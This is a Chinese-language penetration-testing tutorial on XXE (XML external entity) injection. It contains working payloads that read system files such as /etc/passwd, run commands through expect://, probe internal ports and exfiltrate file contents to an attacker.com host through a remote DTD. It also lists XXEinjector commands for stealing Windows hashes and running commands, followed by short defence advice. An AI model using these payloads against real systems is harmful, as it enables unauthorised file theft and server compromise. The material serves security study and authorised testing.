XXE从入门到精通
字数 1677 2025-08-22 12:23:42

XXE漏洞从入门到精通:全面解析与实战指南

一、XXE基础概念

1. 什么是XXE漏洞

XXE(XML External Entity)即XML外部实体注入漏洞,当应用程序在解析XML输入时,没有禁止外部实体的加载,攻击者可以构造恶意的XML文档,导致:

  • 任意文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • 服务器端请求伪造(SSRF)

2. XML与DTD基础

XML(可扩展标记语言)是一种用于存储和传输数据的标记语言。DTD(文档类型定义)用于定义XML文档的结构。

基本XML文档结构:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!-- 定义内部实体 -->
<!ENTITY example "Hello World">
]>
<foo>&example;</foo>

二、XXE漏洞利用技术

1. 有回显XXE利用

1.1 文件读取

Windows系统读取文件:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>

Linux系统读取文件:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

1.2 使用CDATA读取特殊字符文件

当文件包含特殊字符(如<, &)时,使用CDATA区段:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % then SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&all;</foo>

evil.dtd内容:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%then;%end;">

1.3 读取PHP源码

使用PHP过滤器读取并base64编码源码:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php">
]>
<foo>&xxe;</foo>

1.4 远程代码执行(需特定环境)

需要PHP expect扩展支持:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<foo>&xxe;</foo>

1.5 内网端口探测

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<foo>&xxe;</foo>

通过响应时间判断端口状态:

  • 响应快:端口开放
  • 响应慢或无响应:端口关闭

2. 无回显XXE利用

当没有直接回显时,使用带外数据(OOB)技术:

payload.xml:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://attacker.com/test.dtd">
%remote;
%out;
%send;
]>

test.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % out "<!ENTITY % send SYSTEM 'http://attacker.com/?p=%file;'>">

原理:

  1. 加载远程DTD文件
  2. DTD发起HTTP请求
  3. 将文件内容base64编码后通过HTTP请求发送到攻击者服务器

三、XXE利用工具:XXEinjector

1. 环境准备

  • 安装Ruby环境
  • 下载XXEinjector工具

2. 常用参数详解

参数 描述 示例
--host 必填,反向连接IP --host=192.168.0.2
--file 必填,包含HTTP请求的XML文件 --file=/tmp/req.txt
--path 枚举目录时必填 --path=/etc
--brute 爆破时必填,字典路径 --brute=/tmp/brute.txt
--oob 带外利用方法 --oob=http/ftp/gopher
--phpfilter 使用PHP过滤器base64编码 --phpfilter
--enumports 枚举端口 --enumports=21,22,80
--hashes 窃取Windows哈希 --hashes
--expect 执行系统命令 --expect=ls
--upload 上传文件 --upload=/tmp/upload.txt
--ssl 使用SSL --ssl
--proxy 使用代理 --proxy=127.0.0.1:8080

3. 实用示例

  1. 枚举HTTPS应用中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  1. 使用gopher协议枚举目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  1. 二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
  1. 文件爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
  1. 窃取Windows哈希
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
  1. 上传文件
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
  1. 执行系统命令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

四、防御措施

  1. 禁用外部实体

    • PHP: libxml_disable_entity_loader(true);
    • Java: 设置DocumentBuilderFactorysetExpandEntityReferences(false)
    • Python: 使用defusedxml替代标准库
  2. 使用白名单验证输入

  3. 使用简单的数据格式如JSON替代XML

  4. 及时更新XML处理器

  5. 服务器配置

    • 禁用不必要的协议(file://, http://, ftp://等)

五、总结

XXE漏洞危害严重,可导致信息泄露、系统入侵等后果。通过本文的学习,您应该掌握了:

  1. XXE的基本原理和利用方式
  2. 有回显和无回显XXE的攻击技术
  3. 使用XXEinjector工具进行自动化测试
  4. 有效的防御措施

在实际渗透测试中,请确保获得合法授权后再进行测试,遵守法律法规。

XXE漏洞从入门到精通:全面解析与实战指南 一、XXE基础概念 1. 什么是XXE漏洞 XXE(XML External Entity)即XML外部实体注入漏洞,当应用程序在解析XML输入时,没有禁止外部实体的加载,攻击者可以构造恶意的XML文档,导致: 任意文件读取 命令执行 内网端口扫描 攻击内网网站 服务器端请求伪造(SSRF) 2. XML与DTD基础 XML(可扩展标记语言)是一种用于存储和传输数据的标记语言。DTD(文档类型定义)用于定义XML文档的结构。 基本XML文档结构: 二、XXE漏洞利用技术 1. 有回显XXE利用 1.1 文件读取 Windows系统读取文件: Linux系统读取文件: 1.2 使用CDATA读取特殊字符文件 当文件包含特殊字符(如 <, &)时,使用CDATA区段: evil.dtd内容: 1.3 读取PHP源码 使用PHP过滤器读取并base64编码源码: 1.4 远程代码执行(需特定环境) 需要PHP expect扩展支持: 1.5 内网端口探测 通过响应时间判断端口状态: 响应快:端口开放 响应慢或无响应:端口关闭 2. 无回显XXE利用 当没有直接回显时,使用带外数据(OOB)技术: payload.xml: test.dtd: 原理: 加载远程DTD文件 DTD发起HTTP请求 将文件内容base64编码后通过HTTP请求发送到攻击者服务器 三、XXE利用工具:XXEinjector 1. 环境准备 安装Ruby环境 下载XXEinjector工具 2. 常用参数详解 | 参数 | 描述 | 示例 | |------|------|------| | --host | 必填,反向连接IP | --host=192.168.0.2 | | --file | 必填,包含HTTP请求的XML文件 | --file=/tmp/req.txt | | --path | 枚举目录时必填 | --path=/etc | | --brute | 爆破时必填,字典路径 | --brute=/tmp/brute.txt | | --oob | 带外利用方法 | --oob=http/ftp/gopher | | --phpfilter | 使用PHP过滤器base64编码 | --phpfilter | | --enumports | 枚举端口 | --enumports=21,22,80 | | --hashes | 窃取Windows哈希 | --hashes | | --expect | 执行系统命令 | --expect=ls | | --upload | 上传文件 | --upload=/tmp/upload.txt | | --ssl | 使用SSL | --ssl | | --proxy | 使用代理 | --proxy=127.0.0.1:8080 | 3. 实用示例 枚举HTTPS应用中的/etc目录 使用gopher协议枚举目录 二次漏洞利用 文件爆破攻击 窃取Windows哈希 上传文件 执行系统命令 四、防御措施 禁用外部实体 PHP: libxml_disable_entity_loader(true); Java: 设置 DocumentBuilderFactory 的 setExpandEntityReferences(false) Python: 使用 defusedxml 替代标准库 使用白名单验证输入 使用简单的数据格式 如JSON替代XML 及时更新XML处理器 服务器配置 禁用不必要的协议(file://, http://, ftp://等) 五、总结 XXE漏洞危害严重,可导致信息泄露、系统入侵等后果。通过本文的学习,您应该掌握了: XXE的基本原理和利用方式 有回显和无回显XXE的攻击技术 使用XXEinjector工具进行自动化测试 有效的防御措施 在实际渗透测试中,请确保获得合法授权后再进行测试,遵守法律法规。